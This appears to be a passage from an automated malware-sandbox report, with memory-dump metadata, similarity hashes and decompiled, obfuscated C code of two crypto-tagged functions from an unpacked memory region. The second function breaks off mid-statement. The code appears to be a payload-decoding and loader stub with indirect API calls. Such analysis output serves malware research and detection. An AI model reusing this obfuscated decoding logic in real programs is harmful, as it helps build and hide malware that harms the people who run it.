0x016c4d4d
0x016c4d4e
0x016c4d5a
0x016c4d5f
0x016c4d62
0x016c4d65
0x016c4d67
0x016c4d74
0x016c4d7c
0x016c4d7e
0x016c4d7f
0x016c4d83
0x016c4d86
0x016c4d89
0x016c4d8d
0x016c4d90
0x016c4d94
0x016c4d97
0x016c4d9a
0x016c4d9b
0x016c4d9e
0x016c4da1
0x016c4da4
0x016c4da8
0x016c4da9
0x016c4dac
0x016c4dad
0x016c4daf
0x016c4dbb
0x016c4dc0
0x016c4dc2
0x016c4dce
0x016c4dd3
0x016c4dd4
0x016c4dd9
0x016c4ddb
0x016c4ddc
0x016c4dde
0x016c4dec
0x016c4ded
0x016c4ded
0x016c4df2

Memory Dump Source

Source File: 00000000.00000002.498556237.00000000016C0000.00000040.00000001.sdmp, Offset: 016C0000, based on PE: true

Associated: 00000000.00000002.498572956.00000000016D8000.00000040.00000001.sdmp Download File
Associated: 00000000.00000002.498581027.000000000171D000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f89cbf176f5ded8dd9f870f15b95a5ce55e929d63621d25e61daa38bc8d58fc1
Instruction ID: 0be358ce1a7f8d51ece332bfa1220044f9bc8c7c4e15325644951ff954f2f3f7
Opcode Fuzzy Hash: f89cbf176f5ded8dd9f870f15b95a5ce55e929d63621d25e61daa38bc8d58fc1
Instruction Fuzzy Hash: A4128F72904204EFFB14DF64C8857AEBBF5FF84725F09846DEC899A186DB381550CB28

Uniqueness

Uniqueness Score: -1.00%

Function 016C1918, Relevance: .5, Instructions: 464
COMMONCrypto

Download Yara Rule

C-Code - Quality: 86%

			E016C1918(signed int __eax, signed int __ecx, signed int __edx, signed int __edi, void* __esi, signed int _a4, signed int _a8) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				intOrPtr _v24;
				signed int _v28;
				signed int _v32;
				signed int _v36;
				signed int _v40;
				signed int _v44;
				signed int _v48;
				signed int _v52;
				signed int _v56;
				signed int _v60;
				signed int _v64;
				signed int _t259;
				signed int _t261;
				signed int _t262;
				signed int _t266;
				signed int _t267;
				signed int _t270;
				void* _t272;
				signed int _t275;
				signed int _t279;
				signed int _t283;
				signed int _t285;
				signed int _t286;
				signed int _t287;
				signed int _t288;
				signed int _t290;
				signed int _t291;
				signed int _t292;
				void* _t294;
				signed int _t297;
				signed int _t299;
				signed int _t300;
				void* _t303;
				void* _t305;
				signed int _t306;
				signed int _t308;
				int _t310;
				void* _t313;
				signed int _t319;
				signed int _t324;
				signed int _t332;
				void* _t340;
				signed int _t342;
				signed int _t344;
				signed int _t347;
				signed int _t352;
				signed int _t361;
				signed int _t363;
				void* _t366;
				void* _t380;
				signed int _t385;
				signed int _t391;
				signed int _t393;
				signed int _t394;
				signed int _t401;
				void* _t416;
				signed int _t417;
				void* _t429;
				signed int _t431;
				void* _t432;
				signed int* _t435;

				_t306 = __ecx;
				_t259 = __eax;
				_push(_t300);
				 *_t431 =  *_t431 ^ _t300;
				 *_t431 =  *_t431 + _t416;
				_t417 = _t431;
				_t432 = _t431 + 0xffffffdc;
				_push(_v40);
				_v44 = _t300;
				_push(__edx);
				_t361 = __edi & 0x00000000 | __edx ^ _v48 | _a8;
				_pop(_t340);
				_v48 =  *((intOrPtr*)(_t361 + 0xc));
				_pop(_t385);
				 *_t5 = _t300;
				_t342 = _v48;
				_v48 =  *((intOrPtr*)(_t361 + 4));
				 *_t8 = _t340;
				if(_v24 == 1) {
					_v20 = 7;
					_v28 = 1;
					_v16 = 8;
				}
				if(_v24 != 0) {
					if(_v24 != 2) {
						if(_v24 == 4) {
							_v20 = 1;
							_v28 = 0x55;
							_v16 = 2;
						}
					} else {
						_v20 = 3;
						_v28 = 0x11;
						_v16 = 4;
					}
					_push(_t342);
					_v48 = _v48 ^ _t342;
					_v36 = _t385;
					_t261 = _t259 & 0x00000000 | _t385 & 0x00000000 ^ _v8;
					_t262 = _t261 / _v16;
					_t344 = _t261 % _v16;
					_push(_v8);
					_v48 = _v48 - _t344;
					_pop( *_t132);
					_v48 = _v36;
					_v12 = _t344;
					_t391 = 0;
					_v40 = _t344;
					_t393 = _t391 & 0x00000000 ^ (_t344 & 0x00000000 | _a4);
					_t347 = _v40;
					_push(_t347);
					_t363 = _t361 & 0x00000000 ^ (_t347 & 0x00000000 | _t393);
					_t394 = _t393 - 1;
					_v32 = 0;
					_push(_v32);
					_v48 = _v48 + _t300;
					do {
						_v40 = _t300;
						_t308 = _t306 & 0x00000000 ^ (_t300 & 0x00000000 | _t363);
						_t300 = _v40;
						_t306 = _t308 & _v20;
						if(_t306 == 0) {
							_t394 = _t394 + 1;
							_v32 = _t363;
							_t262 = _t262 & 0x00000000 ^ (_t363 & 0x00000000 | _v16);
							_t363 = _v32;
							_t300 =  *(_t262 + _t394) & 0x000000ff;
						}
						_v52 = _t394;
						_t394 = 0;
						asm("rol edx, cl");
						_t352 = (0 ^ _v28) & _t300;
						asm("lodsb");
						_t262 = _t262 | _t352;
						 *_t363 = _t262;
						_t363 = _t363 + 1;
						_t147 =  &_v8;
						 *_t147 = _v8 - 1;
					} while ( *_t147 != 0);
					_pop(_t303);
					if( *(_t303 + 0x4182ab) == 0) {
						_v48 =  *((intOrPtr*)(_t303 + 0x4181ff));
						_t319 = _t306;
						_v52 =  *((intOrPtr*)(_t303 + 0x41843c));
						_t352 = _t352;
						_v56 =  *((intOrPtr*)(_t303 + 0x418293));
						_t262 =  *((intOrPtr*)(_t303 + 0x45d040))(_t262, _t417, _t352);
						_v32 = _t319;
						 *(_t303 + 0x4182ab) =  *(_t303 + 0x4182ab) & 0x00000000;
						 *(_t303 + 0x4182ab) =  *(_t303 + 0x4182ab) ^ _t319 & 0x00000000 ^ _t262;
						_t306 = _v32;
					}
					if( *(_t303 + 0x4183d4) == 0) {
						if( *(_t303 + 0x418037) == 0) {
							_v48 =  *((intOrPtr*)(_t303 + 0x41816f));
							_v52 = _t394;
							_v56 = _v56 & 0x00000000;
							_v56 = _v56 | _t352;
							_v60 =  *((intOrPtr*)(_t303 + 0x41859f));
							_t352 = _t352;
							_v64 =  *((intOrPtr*)(_t303 + 0x41808b));
							_t394 = _t394;
							_t279 =  *((intOrPtr*)(_t303 + 0x45d048))(_t306, _t352, _t303, _v36, _t262);
							_v40 = _t306;
							 *(_t303 + 0x418037) = 0 ^ _t279;
							_t306 = _v40;
						}
						_t262 =  *((intOrPtr*)(_t303 + 0x45d01c))();
						if( *((intOrPtr*)(_t303 + 0x4181f7)) == 0) {
							_v32 = _v32 & 0x00000000;
							_v48 = _v48 | _t262;
							_v52 =  *((intOrPtr*)(_t303 + 0x418438));
							_t394 = _t394;
							_v56 = _v56 & 0x00000000;
							_v56 = _v56 ^ _t363;
							_v36 = 0;
							_v60 = _v60 + _t432;
							_push( *((intOrPtr*)(_t303 + 0x45d040))(_v36, _t352, _t262, _v32));
							_pop( *_t186);
							_push(_v36);
							_pop( *_t188);
							_pop(_t262);
						}
						_v48 = _t417;
						 *(_t303 + 0x4183d4) = 0 ^ _t262;
						_t417 = 0;
						if( *(_t303 + 0x418450) == 0) {
							_t352 = _v48;
							_v48 =  *((intOrPtr*)(_t303 + 0x418567));
							_v52 =  *((intOrPtr*)(_t303 + 0x4183bc));
							_v56 =  *((intOrPtr*)(_t303 + 0x4180bb));
							_t417 = _v60;
							_v60 =  *((intOrPtr*)(_t303 + 0x418513));
							_t262 =  *((intOrPtr*)(_t303 + 0x45d044))(_v52, _t394, _t417, _t352);
							_v36 = _v56;
							 *(_t303 + 0x418450) = 0 ^ _t262;
							_t394 = _v36;
						}
					}
					_t310 = _t306 & 0x00000000 ^ _t363 & 0x00000000 ^ _v12;
					_t366 = _t363;
					if( *(_t303 + 0x41803b) == 0) {
						_v36 = 0;
						_v48 = _v48 | _t310;
						_t401 = _v52;
						_v52 =  *((intOrPtr*)(_t303 + 0x418057));
						_t352 = _v56;
						_v56 =  *((intOrPtr*)(_t303 + 0x418028));
						_v60 =  *((intOrPtr*)(_t303 + 0x4183e8));
						_t272 = _t262;
						_v64 =  *((intOrPtr*)(_t303 + 0x4185ef));
						_t275 =  *((intOrPtr*)(_t303 + 0x45d044))(_t417, _t352, _t394, _v36);
						 *(_t303 + 0x41803b) =  *(_t303 + 0x41803b) & 0x00000000;
						 *(_t303 + 0x41803b) =  *(_t303 + 0x41803b) ^ _t401 & 0x00000000 ^ _t275;
						_t394 = _t401;
						_t310 = _t272;
					}
					if( *(_t303 + 0x41849f) == 0) {
						if( *(_t303 + 0x41861f) == 0) {
							_v48 = _t310;
							_t270 =  *((intOrPtr*)(_t303 + 0x45d01c))(_v36);
							_v36 = _t366;
							 *(_t303 + 0x41861f) = 0 ^ _t270;
							_t366 = _v36;
							_pop(_t310);
						}
						_v40 = _v40 & 0x00000000;
						_v48 = _v48 + _t310;
						_t230 = _t303 + 0x418533; // 0x418533
						_v52 = _v52 ^ _t417;
						_v52 = _v52 ^ _t230;
						_t266 =  *((intOrPtr*)(_t303 + 0x45d018))(_t417, _v40);
						_v36 = _t366;
						 *(_t303 + 0x4185cf) = 0 ^ _t266;
						_t366 = _v36;
						_push(_t352);
						_v56 =  *((intOrPtr*)(_t303 + 0x418243));
						_t313 = _t310;
						if( *((intOrPtr*)(_t303 + 0x41862b)) == 0) {
							_v60 =  *((intOrPtr*)(_t303 + 0x418414));
							_v64 =  *((intOrPtr*)(_t303 + 0x4183cc));
							_t417 = _t417;
							_push( *((intOrPtr*)(_t303 + 0x45d03c))(_t432, _t266, _t313, _t366));
							_pop( *_t243);
							_push(_v36);
							_pop( *_t245);
						}
						_push(_t352);
						_v60 =  *((intOrPtr*)(_t303 + 0x41814b));
						if( *((intOrPtr*)(_t303 + 0x41851b)) == 0) {
							 *_t250 =  *((intOrPtr*)(_t303 + 0x45d024))();
							_push(_v32);
							_pop( *_t252);
						}
						_t417 = _v64;
						_v64 =  *((intOrPtr*)(_t303 + 0x4182a7));
						_t267 =  *((intOrPtr*)(_t303 + 0x45d040))();
						_v36 = _t394;
						 *(_t303 + 0x41849f) = 0 ^ _t267;
						_t394 = _v36;
						_t310 = _t417;
					}
					return memcpy(_t366, _t394 + 1, _t310);
				} else {
					_pop(_t305);
					if( *(_t305 + 0x418627) == 0) {
						_v44 =  *((intOrPtr*)(_t305 + 0x4182e3));
						_t299 = _t259;
						_v48 =  *((intOrPtr*)(_t305 + 0x4184b3));
						_t429 = _t417;
						_v52 =  *((intOrPtr*)(_t305 + 0x41802f));
						_t417 = _t429;
						_v32 = 0;
						_v56 = _v56 ^ _t299;
						_v60 =  *((intOrPtr*)(_t305 + 0x418470));
						_t380 = _t361;
						_t259 =  *((intOrPtr*)(_t305 + 0x45d048))(_t361, _v32, _t306, _t417, _t342);
						 *(_t305 + 0x418627) =  *(_t305 + 0x418627) & 0x00000000;
						 *(_t305 + 0x418627) =  *(_t305 + 0x418627) ^ (_t380 - _v64 | _t259);
						_t361 = _t380;
					}
					if( *(_t305 + 0x418077) == 0) {
						if( *(_t305 + 0x418517) == 0) {
							_v44 =  *((intOrPtr*)(_t305 + 0x4182ff));
							_t294 = _t259;
							_v48 =  *((intOrPtr*)(_t305 + 0x41810b));
							_t417 = _t417;
							_v52 =  *((intOrPtr*)(_t305 + 0x418217));
							_t361 = _v56;
							_v56 =  *(_t305 + 0x418173);
							_v60 =  *(_t305 + 0x418546);
							_t385 = _t385;
							_t297 =  *((intOrPtr*)(_t305 + 0x45d048))(_v52, _t361, _t294, _t385, _t306);
							_v32 = _t306;
							 *(_t305 + 0x418517) =  *(_t305 + 0x418517) & 0x00000000;
							 *(_t305 + 0x418517) =  *(_t305 + 0x418517) ^ (_t306 & 0x00000000 | _t297);
							_t306 = _v32;
						}
						_t288 =  *((intOrPtr*)(_t305 + 0x45d020))();
						_v44 = _v44 & 0x00000000;
						_v44 = _v44 ^ _t288;
						_v36 = _v36 & 0x00000000;
						_v48 = _v48 + _t305 + 0x4185c7;
						_t290 =  *((intOrPtr*)(_t305 + 0x45d018))(_v36, _t305);
						 *(_t305 + 0x418010) =  *(_t305 + 0x418010) & 0x00000000;
						 *(_t305 + 0x418010) =  *(_t305 + 0x418010) ^ (_t306 & 0x00000000 | _t290);
						_t332 = _t306;
						_pop(_t291);
						_v40 = _t332;
						 *(_t305 + 0x418077) =  *(_t305 + 0x418077) & 0x00000000;
						 *(_t305 + 0x418077) =  *(_t305 + 0x418077) | _t332 - _v40 ^ _t291;
						_t306 = _v40;
						if( *(_t305 + 0x418400) == 0) {
							_t292 =  *((intOrPtr*)(_t305 + 0x45d020))();
							_v36 = _t385;
							 *(_t305 + 0x418400) =  *(_t305 + 0x418400) & 0x00000000;
							 *(_t305 + 0x418400) =  *(_t305 + 0x418400) | _t385 & 0x00000000 | _t292;
							_t385 = _v36;
						}
					}
					_t435 = _t417;
					 *_t435 =  *_t435 - _t342;
					 *_t435 =  *_t435 | _t305 + 0x0041804f;
					_t283 =  *((intOrPtr*)(_t305 + 0x45d018))(_t342);
					_v36 = _t361;
					 *(_t305 + 0x41800c) =  *(_t305 + 0x41800c) & 0x00000000;
					 *(_t305 + 0x41800c) =  *(_t305 + 0x41800c) ^ _t361 & 0x00000000 ^ _t283;
					if( *(_t305 + 0x418365) == 0) {
						_v40 = _v40 & 0x00000000;
						_v44 = _v44 + _t305 + 0x41802c;
						_t285 =  *((intOrPtr*)(_t305 + 0x45d018))(_v40);
						_v48 = _t306;
						 *(_t305 + 0x4180e3) = 0 ^ _t285;
						_t324 = 0;
						_t283 =  *((intOrPtr*)(_t305 + 0x45d024))();
						if( *(_t305 + 0x4183fc) == 0) {
							_v32 = _v32 & 0x00000000;
							_v48 = _v48 ^ _t283;
							_t287 =  *((intOrPtr*)(_t305 + 0x45d020))(_v32);
							 *(_t305 + 0x4183fc) =  *(_t305 + 0x4183fc) & 0x00000000;
							 *(_t305 + 0x4183fc) =  *(_t305 + 0x4183fc) ^ (_t324 - _v52 | _t287);
							_t324 = _t324;
							_pop(_t283);
						}
						_v40 = _t324;
						 *(_t305 + 0x418365) =  *(_t305 + 0x418365) & 0x00000000;
						 *(_t305 + 0x418365) =  *(_t305 + 0x418365) | _t324 & 0x00000000 ^ _t283;
						if( *(_t305 + 0x41853e) == 0) {
							_t286 =  *((intOrPtr*)(_t305 + 0x45d020))();
							_v36 = _t385;
							 *(_t305 + 0x41853e) =  *(_t305 + 0x41853e) & 0x00000000;
							 *(_t305 + 0x41853e) =  *(_t305 + 0x41853e) | _t385 ^ _v36 ^ _t286;
							return _t286;
						}
					}
					return _t283;
				}
			}

0x016c1918
0x016c1918
0x016c1918
0x016c1919
0x016c191c
0x016c191f
0x016c1921
0x016c1924
0x016c1927
0x016c192a
0x016c1934
0x016c1936
0x016c193c
0x016c1940
0x016c1941
0x016c1948
0x016c1948
0x016c194b
0x016c1952
0x016c1954
0x016c195b
0x016c1962
0x016c1962
0x016c196d
0x016c1c7c
0x016c1c99
0x016c1c9b
0x016c1ca2
0x016c1ca9
0x016c1ca9
0x016c1c7e
0x016c1c7e
0x016c1c85
0x016c1c8c
0x016c1c8c
0x016c1cb0
0x016c1cb1
0x016c1cb5
0x016c1cc1
0x016c1cc6
0x016c1cc6
0x016c1cc9
0x016c1ccc
0x016c1ccf
0x016c1cd4
0x016c1cdb
0x016c1cde
0x016c1cdf
0x016c1ceb
0x016c1ced
0x016c1cf0
0x016c1cf9
0x016c1cfc
0x016c1cfd
0x016c1d04
0x016c1d07
0x016c1d0a
0x016c1d0a
0x016c1d15
0x016c1d17
0x016c1d1a
0x016c1d1d
0x016c1d1f
0x016c1d20
0x016c1d2c
0x016c1d2e
0x016c1d31
0x016c1d31
0x016c1d37
0x016c1d41
0x016c1d42
0x016c1d44
0x016c1d46
0x016c1d47
0x016c1d49
0x016c1d4b
0x016c1d4c
0x016c1d4c
0x016c1d4c
0x016c1d51
0x016c1d59
0x016c1d63
0x016c1d67
0x016c1d70
0x016c1d74
0x016c1d7c
0x016c1d7f
0x016c1d85
0x016c1d8d
0x016c1d94
0x016c1d9a
0x016c1d9a
0x016c1da4
0x016c1db1
0x016c1dba
0x016c1dc0
0x016c1dc4
0x016c1dc8
0x016c1dd3
0x016c1dd7
0x016c1de0
0x016c1de4
0x016c1de5
0x016c1deb
0x016c1df2
0x016c1df8
0x016c1df8
0x016c1dfb
0x016c1e08
0x016c1e0a
0x016c1e11
0x016c1e1c
0x016c1e20
0x016c1e22
0x016c1e26
0x016c1e29
0x016c1e33
0x016c1e3c
0x016c1e3d
0x016c1e40
0x016c1e43
0x016c1e49
0x016c1e49
0x016c1e4c
0x016c1e53
0x016c1e59
0x016c1e61
0x016c1e6a
0x016c1e6a
0x016c1e74
0x016c1e7e
0x016c1e88
0x016c1e88
0x016c1e8b
0x016c1e91
0x016c1e98
0x016c1e9e
0x016c1e9e
0x016c1e61
0x016c1eab
0x016c1ead
0x016c1eb5
0x016c1eb7
0x016c1ec1
0x016c1ecb
0x016c1ecb
0x016c1ed5
0x016c1ed5
0x016c1ee0
0x016c1ee4
0x016c1eec
0x016c1eef
0x016c1efb
0x016c1f02
0x016c1f08
0x016c1f09
0x016c1f09
0x016c1f11
0x016c1f1e
0x016c1f23
0x016c1f26
0x016c1f2c
0x016c1f33
0x016c1f39
0x016c1f3c
0x016c1f3c
0x016c1f3d
0x016c1f44
0x016c1f47
0x016c1f4e
0x016c1f51
0x016c1f54
0x016c1f5a
0x016c1f61
0x016c1f67
0x016c1f6a
0x016c1f72
0x016c1f76
0x016c1f7e
0x016c1f88
0x016c1f95
0x016c1f99
0x016c1fa1
0x016c1fa2
0x016c1fa5
0x016c1fa8
0x016c1fa8
0x016c1fae
0x016c1fb5
0x016c1fbf
0x016c1fc8
0x016c1fcb
0x016c1fce
0x016c1fce
0x016c1fdb
0x016c1fdb
0x016c1fde
0x016c1fe4
0x016c1feb
0x016c1ff1
0x016c1ff4
0x016c1ff4
0x016c1ffa
0x016c1973
0x016c1973
0x016c197b
0x016c1985
0x016c1989
0x016c1992
0x016c1996
0x016c199f
0x016c19a3
0x016c19a4
0x016c19ae
0x016c19b9
0x016c19bd
0x016c19be
0x016c19ca
0x016c19d1
0x016c19d7
0x016c19d7
0x016c19df
0x016c19ec
0x016c19f6
0x016c19fa
0x016c1a03
0x016c1a07
0x016c1a0f
0x016c1a19
0x016c1a19
0x016c1a24
0x016c1a28
0x016c1a29
0x016c1a2f
0x016c1a37
0x016c1a3e
0x016c1a44
0x016c1a44
0x016c1a47
0x016c1a4e
0x016c1a52
0x016c1a5b
0x016c1a62
0x016c1a65
0x016c1a71
0x016c1a78
0x016c1a7e
0x016c1a7f
0x016c1a80
0x016c1a88
0x016c1a8f
0x016c1a95
0x016c1a9f
0x016c1aa1
0x016c1aa7
0x016c1aaf
0x016c1ab6
0x016c1abc
0x016c1abc
0x016c1a9f
0x016c1abf
0x016c1ac7
0x016c1aca
0x016c1acd
0x016c1ad3
0x016c1adb
0x016c1ae2
0x016c1af2
0x016c1afe
0x016c1b05
0x016c1b08
0x016c1b10
0x016c1b17
0x016c1b1d
0x016c1b1e
0x016c1b2b
0x016c1b2d
0x016c1b34
0x016c1b37
0x016c1b43
0x016c1b4a
0x016c1b50
0x016c1b51
0x016c1b51
0x016c1b52
0x016c1b5a
0x016c1b61
0x016c1b71
0x016c1b73
0x016c1b79
0x016c1b81
0x016c1b88
0x00000000
0x016c1b8e
0x016c1b71
0x016c1b91
0x016c1b91

Memory Dump Source

Source File: 00000000.00000002.498556237.00000000016C0000.00000040.00000001.sdmp, Offset: 016C0000, based on PE: true

Associated: 00000000.00000002.498572956.00000000016D8000.00000040.00000001.sdmp Download File
Associated: 00000000.00000002.498581027.000000000171D000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b932141b5672c0b40a06f11913d735f0f9495efb84fabef623221ee9858e0d59
Instruction ID: 4bffc62884890790b6c5397cf29bf75a804a182ac05a2a4b2784a896a1e3b49d
Opcode Fuzzy Hash: b932141b5672c0b40a06f11913d735f0f9495efb84fabef623221ee9858e0d59
Instruction Fuzzy Hash: 4B124A72804218DFEF048F54C9857EEBBF5FF48715F0980AEDC49AA246CB781955CBA8

Uniqueness

Uniqueness Score: -1.00%

Function 016C1B95, Relevance: .3, Instructions: 340
COMMONCrypto

Download Yara Rule

C-Code - Quality: 84%

			E016C1B95(signed int __ecx, signed int __edx, signed int __edi, signed int __esi) {
				signed int _t190;
				signed int _t192;
				signed int _t193;
				signed int _t197;
				signed int _t198;
				signed int _t201;
				void* _t203;
				signed int _t206;
				signed int _t210;
				signed int _t214;
				signed int _t217;
				void* _t220;
				signed int _t224;
				int _t226;
				void* _t229;
				signed int _t235;
				signed int _t242;
				signed int _t244;
				signed int _t247;
				signed int _t252;
				signed int _t259;
				signed int _t261;
				void* _t264;
				signed int _t281;
				signed int _t283;
				signed int _t284;
				signed int _t291;
				signed int _t305;
				signed int* _t314;

				_t275 = __esi;
				_t259 = __edi;
				_t222 = __ecx;
				_t217 = 0x4181a7;
				 *((intOrPtr*)(_t305 + 0x1e)) =  *((intOrPtr*)(_t305 + 0x1e)) + __edx;
				_t190 =  *0x008751C3();
				 *(_t305 - 0x20) = __edx;
				 *0x0083034E =  *0x0083034E & 0x00000000;
				 *0x0083034E =  *0x0083034E | __edx ^  *(_t305 - 0x20) | _t190;
				_t242 =  *(_t305 - 0x20);
				if( *0x00830706 != 0) {
					L6:
					if( *((intOrPtr*)(_t305 - 0x14)) != 2) {
						if( *((intOrPtr*)(_t305 - 0x14)) == 4) {
							 *(_t305 - 0x10) = 1;
							 *(_t305 - 0x18) = 0x55;
							 *(_t305 - 0xc) = 2;
						}
					} else {
						 *(_t305 - 0x10) = 3;
						 *(_t305 - 0x18) = 0x11;
						 *(_t305 - 0xc) = 4;
					}
					_push(_t242);
					 *_t314 =  *_t314 ^ _t242;
					 *(_t305 - 0x20) = _t275;
					_t192 = _t190 & 0x00000000 | _t275 & 0x00000000 ^  *(_t305 - 4);
					_t193 = _t192 /  *(_t305 - 0xc);
					_t244 = _t192 %  *(_t305 - 0xc);
					_push( *(_t305 - 4));
					 *_t314 =  *_t314 - _t244;
					_pop( *_t63);
					 *_t314 =  *(_t305 - 0x20);
					 *(_t305 - 8) = _t244;
					_t281 = 0;
					 *(_t305 - 0x24) = _t244;
					_t283 = _t281 & 0x00000000 ^ (_t244 & 0x00000000 |  *(_t305 + 8));
					_t247 =  *(_t305 - 0x24);
					_push(_t247);
					_t261 = _t259 & 0x00000000 ^ (_t247 & 0x00000000 | _t283);
					_t284 = _t283 - 1;
					 *(_t305 - 0x1c) = 0;
					_push( *(_t305 - 0x1c));
					 *_t314 =  *_t314 + _t217;
					do {
						 *(_t305 - 0x24) = _t217;
						_t224 = _t222 & 0x00000000 ^ (_t217 & 0x00000000 | _t261);
						_t217 =  *(_t305 - 0x24);
						_t222 = _t224 &  *(_t305 - 0x10);
						if(_t222 == 0) {
							_t284 = _t284 + 1;
							 *(_t305 - 0x1c) = _t261;
							_t193 = _t193 & 0x00000000 ^ (_t261 & 0x00000000 |  *(_t305 - 0xc));
							_t261 =  *(_t305 - 0x1c);
							_t217 =  *(_t193 + _t284) & 0x000000ff;
						}
						 *_t314 = _t284;
						_t284 = 0;
						asm("rol edx, cl");
						_t252 = (0 ^  *(_t305 - 0x18)) & _t217;
						asm("lodsb");
						_t193 = _t193 | _t252;
						 *_t261 = _t193;
						_t261 = _t261 + 1;
						_t78 = _t305 - 4;
						 *_t78 =  *(_t305 - 4) - 1;
					} while ( *_t78 != 0);
					_pop(_t220);
					if( *(_t220 + 0x4182ab) == 0) {
						_t314[1] =  *(_t220 + 0x4181ff);
						_t235 = _t222;
						_t314[1] =  *(_t220 + 0x41843c);
						_t252 = _t252;
						 *_t314 =  *(_t220 + 0x418293);
						_t193 =  *((intOrPtr*)(_t220 + 0x45d040))(_t193, _t305, _t252);
						 *(_t305 - 0x1c) = _t235;
						 *(_t220 + 0x4182ab) =  *(_t220 + 0x4182ab) & 0x00000000;
						 *(_t220 + 0x4182ab) =  *(_t220 + 0x4182ab) ^ _t235 & 0x00000000 ^ _t193;
						_t222 =  *(_t305 - 0x1c);
					}
					if( *(_t220 + 0x4183d4) == 0) {
						if( *(_t220 + 0x418037) == 0) {
							 *_t314 =  *(_t220 + 0x41816f);
							 *_t314 = _t284;
							 *_t314 =  *_t314 & 0x00000000;
							 *_t314 =  *_t314 | _t252;
							_t314[1] =  *(_t220 + 0x41859f);
							_t252 = _t252;
							_t314[1] =  *(_t220 + 0x41808b);
							_t284 = _t284;
							_t210 =  *((intOrPtr*)(_t220 + 0x45d048))(_t222, _t252, _t220,  *(_t305 - 0x20), _t193);
							 *(_t305 - 0x24) = _t222;
							 *(_t220 + 0x418037) = 0 ^ _t210;
							_t222 =  *(_t305 - 0x24);
						}
						_t193 =  *((intOrPtr*)(_t220 + 0x45d01c))();
						if( *((intOrPtr*)(_t220 + 0x4181f7)) == 0) {
							 *(_t305 - 0x1c) =  *(_t305 - 0x1c) & 0x00000000;
							 *_t314 =  *_t314 | _t193;
							_t314[1] =  *(_t220 + 0x418438);
							_t284 = _t284;
							 *_t314 =  *_t314 & 0x00000000;
							 *_t314 =  *_t314 ^ _t261;
							 *(_t305 - 0x20) = 0;
							 *_t314 = _t314 +  *_t314;
							_push( *((intOrPtr*)(_t220 + 0x45d040))( *(_t305 - 0x20), _t252, _t193,  *(_t305 - 0x1c)));
							_pop( *_t117);
							_push( *(_t305 - 0x20));
							_pop( *_t119);
							_pop(_t193);
						}
						 *_t314 = _t305;
						 *(_t220 + 0x4183d4) = 0 ^ _t193;
						_t305 = 0;
						if( *(_t220 + 0x418450) == 0) {
							_t252 =  *_t314;
							 *_t314 =  *(_t220 + 0x418567);
							 *_t314 =  *(_t220 + 0x4183bc);
							 *_t314 =  *(_t220 + 0x4180bb);
							_t305 =  *_t314;
							 *_t314 =  *(_t220 + 0x418513);
							_t193 =  *((intOrPtr*)(_t220 + 0x45d044))( *_t314, _t284, _t305, _t252);
							 *(_t305 - 0x20) =  *_t314;
							 *(_t220 + 0x418450) = 0 ^ _t193;
							_t284 =  *(_t305 - 0x20);
						}
					}
					_t226 = _t222 & 0x00000000 ^ _t261 & 0x00000000 ^  *(_t305 - 8);
					_t264 = _t261;
					if( *(_t220 + 0x41803b) == 0) {
						 *(_t305 - 0x20) = 0;
						 *_t314 =  *_t314 | _t226;
						_t291 =  *_t314;
						 *_t314 =  *(_t220 + 0x418057);
						_t252 =  *_t314;
						 *_t314 =  *(_t220 + 0x418028);
						_t314[1] =  *(_t220 + 0x4183e8);
						_t203 = _t193;
						 *_t314 =  *(_t220 + 0x4185ef);
						_t206 =  *((intOrPtr*)(_t220 + 0x45d044))(_t305, _t252, _t284,  *(_t305 - 0x20));
						 *(_t220 + 0x41803b) =  *(_t220 + 0x41803b) & 0x00000000;
						 *(_t220 + 0x41803b) =  *(_t220 + 0x41803b) ^ _t291 & 0x00000000 ^ _t206;
						_t284 = _t291;
						_t226 = _t203;
					}
					if( *(_t220 + 0x41849f) == 0) {
						if( *(_t220 + 0x41861f) == 0) {
							 *_t314 = _t226;
							_t201 =  *((intOrPtr*)(_t220 + 0x45d01c))( *(_t305 - 0x20));
							 *(_t305 - 0x20) = _t264;
							 *(_t220 + 0x41861f) = 0 ^ _t201;
							_t264 =  *(_t305 - 0x20);
							_pop(_t226);
						}
						 *(_t305 - 0x24) =  *(_t305 - 0x24) & 0x00000000;
						 *_t314 =  *_t314 + _t226;
						_t161 = _t220 + 0x418533; // 0x418533
						 *_t314 =  *_t314 ^ _t305;
						 *_t314 =  *_t314 ^ _t161;
						_t197 =  *((intOrPtr*)(_t220 + 0x45d018))(_t305,  *(_t305 - 0x24));
						 *(_t305 - 0x20) = _t264;
						 *(_t220 + 0x4185cf) = 0 ^ _t197;
						_t264 =  *(_t305 - 0x20);
						_push(_t252);
						_t314[1] =  *(_t220 + 0x418243);
						_t229 = _t226;
						if( *((intOrPtr*)(_t220 + 0x41862b)) == 0) {
							_t314[1] =  *(_t220 + 0x418414);
							_t314[1] =  *(_t220 + 0x4183cc);
							_t305 = _t305;
							_push( *((intOrPtr*)(_t220 + 0x45d03c))(_t314, _t197, _t229, _t264));
							_pop( *_t174);
							_push( *(_t305 - 0x20));
							_pop( *_t176);
						}
						_push(_t252);
						 *_t314 =  *(_t220 + 0x41814b);
						if( *((intOrPtr*)(_t220 + 0x41851b)) == 0) {
							 *_t181 =  *((intOrPtr*)(_t220 + 0x45d024))();
							 *_t183 =  *(_t305 - 0x1c);
						}
						_t305 =  *_t314;
						 *_t314 =  *(_t220 + 0x4182a7);
						_t198 =  *((intOrPtr*)(_t220 + 0x45d040))();
						 *(_t305 - 0x20) = _t284;
						 *(_t220 + 0x41849f) = 0 ^ _t198;
						_t284 =  *(_t305 - 0x20);
						_t226 = _t305;
					}
					return memcpy(_t264, _t284 + 1, _t226);
				}
				if( *0x0083047E == 0) {
					_push(__ecx);
					 *_t314 =  *_t314 ^ __ecx;
					 *_t314 =  *_t314 ^ __edi;
					_push(__ecx);
					_t222 =  *_t314;
					 *_t314 =  *0x008302CA;
					_push(_t190);
					_push(_t190);
					_t314[1] =  *0x00830266;
					_push( *(_t305 - 0x1c));
					 *_t314 = _t314;
					_t190 =  *0x008751EB();
					 *(_t305 - 0x1c) = __esi;
					 *0x0083047E =  *0x0083047E & 0x00000000;
					 *0x0083047E =  *0x0083047E ^ __esi & 0x00000000 ^ _t190;
					_t275 =  *(_t305 - 0x1c);
				}
				_push(_t222);
				_t314[1] =  *(_t217 + 0x41829f);
				_t214 = _t190;
				if( *(_t217 + 0x41827b) == 0) {
